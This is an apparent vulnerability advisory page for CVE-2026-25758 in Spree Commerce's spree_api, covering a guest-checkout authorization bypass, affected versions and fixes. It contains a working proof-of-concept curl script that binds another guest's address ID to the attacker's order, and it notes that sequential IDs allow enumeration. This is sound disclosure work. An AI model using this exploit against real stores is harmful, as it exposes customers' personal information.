CVE-2026-25758 — spree_api
Fix: spree/spree@1561961CVE-2026-25758 is a CWE-284 vulnerability in spree_api. A fix is available for spree_api — see the affected versions and patch details below.
Spree allows unauthenticated users can access all guest addresses
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-25758.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
spree_api💎spree_api💎spree_api💎spree_api💎spree_apiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A critical IDOR vulnerability exists in Spree Commerce's guest checkout flow that allows any guest user to bind arbitrary guest addresses to their order by manipulating address ID parameters. This enables unauthorized access to other guests' personally identifiable information (PII) including names, addresses and phone numbers. The vulnerability bypasses existing ownership validation checks and affects all guest checkout transactions.
Impact
This issue may lead to disclosure of PII of guest users (including names, addresses and phone numbers).
Unauthenticated users can access all guest addresses (GHSL-2026-027)
The vulnerability stems from incomplete authorization validation in Spree's checkout address assignment logic. While nested address attributes (bill_address_attributes[id] and ship_address_attributes[id]) are properly validated through validate_address_ownership, plain ID parameters (bill_address_id and ship_address_id) bypass this check entirely. Since Spree's address IDs are sequential numbers, an attacker might get all guest addresses by simply enumerating over them.
Affected Code Components
-
Permitted Attributes (
core/lib/spree/permitted_attributes.rb:92–96)- Allows
bill_address_idandship_address_idas permitted parameters without validation
- Allows
-
Checkout Update (
core/app/models/spree/order/checkout.rb:241–254)- Applies permitted parameters directly to the Order model via
update_from_params
- Applies permitted parameters directly to the Order model via
-
Incomplete Ownership Validation (
core/app/services/spree/checkout/update.rb:33–48)validate_address_ownershiponly validates nested attributes structure- Does NOT validate plain
bill_address_id/ship_address_idfields
-
Vulnerable Assignment Logic (
core/app/models/spree/order/address_book.rb:16–23, 31–38)
Both setters check that: address.user_id == order.user_id. For guest orders: nil == nil → TRUE ✓ (bypass!)
Proof of Concept
Precondition: One guest address has to exist in Spree's database. (E.g. Create an order with a guest account and note the ID from the spree_addresses table. E.g. 3)
As a guest user:
- Put one product in the cart and go to checkout.
- Fill in some address/phone number and continue.
- Modify this script containing a curl request with current values.
#!/bin/bash
ATTACKER_ORDER_TOKEN="" # Taken from the URL
VICTIM_ADDRESS_ID="3" # As noted from the database
CSRF_TOKEN="" # From page source; `content` value from meta param `csrf-token`.
SESSION_COOKIE="token=...; _my_store_session=..." # from the browsers cookie store.
curl -i -X POST \
-H "x-csrf-token: ${CSRF_TOKEN}" \
-H "Content-Type: application/x-www-form-urlencoded;charset=UTF-8" \
-b "${SESSION_COOKIE}" \
--data-urlencode "_method=patch" \
--data-urlencode "authenticity_token=${CSRF_TOKEN}" \
--data-urlencode "order[ship_address_id]=${VICTIM_ADDRESS_ID}" \
"http://localhost:3000/checkout/${ATTACKER_ORDER_TOKEN}/update/address"
Expected Result: Attacker's order now references victim's address. Through that the attacker has all address details in full display.
This can be verified by accessing /checkout/${ATTACKER_ORDER_TOKEN}/delivery in the same browser where you created the new guest cart.
Impact
This issue may lead to disclosure of PII of guest users (including names, addresses and phone numbers).
CWEs
- CWE-639: Authorization Bypass Through User-Controlled Key
- CWE-284: Improper Access Control
Credit
This issue was discovered with the GitHub Security Lab Taskflow Agent and manually verified by GHSL team members @p- (Peter Stöckli) and @m-y-mo (Man Yue Mo).
Disclosure Policy
This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | spree_api | all versions | 4.10.3bundle update spree_api --conservative |
| 💎RubyGems | spree_api | ≥ 5.0.0&&< 5.0.8 | 5.0.8bundle update spree_api --conservative |
| 💎RubyGems | spree_api | ≥ 5.1.0&&< 5.1.10 | 5.1.10bundle update spree_api --conservative |
| 💎RubyGems | spree_api | ≥ 5.2.0&&< 5.2.7 | 5.2.7bundle update spree_api --conservative |
| 💎RubyGems | spree_api | ≥ 5.3.0&&< 5.3.2 | 5.3.2bundle update spree_api --conservative |
Affected Products
spreespreecommerceDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for spree_api, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update spree_api to 4.10.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-25758 is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Frequently Asked Questions
Is CVE-2026-25758 in your dependencies?
Find it across RubyGems, including transitive dependencies.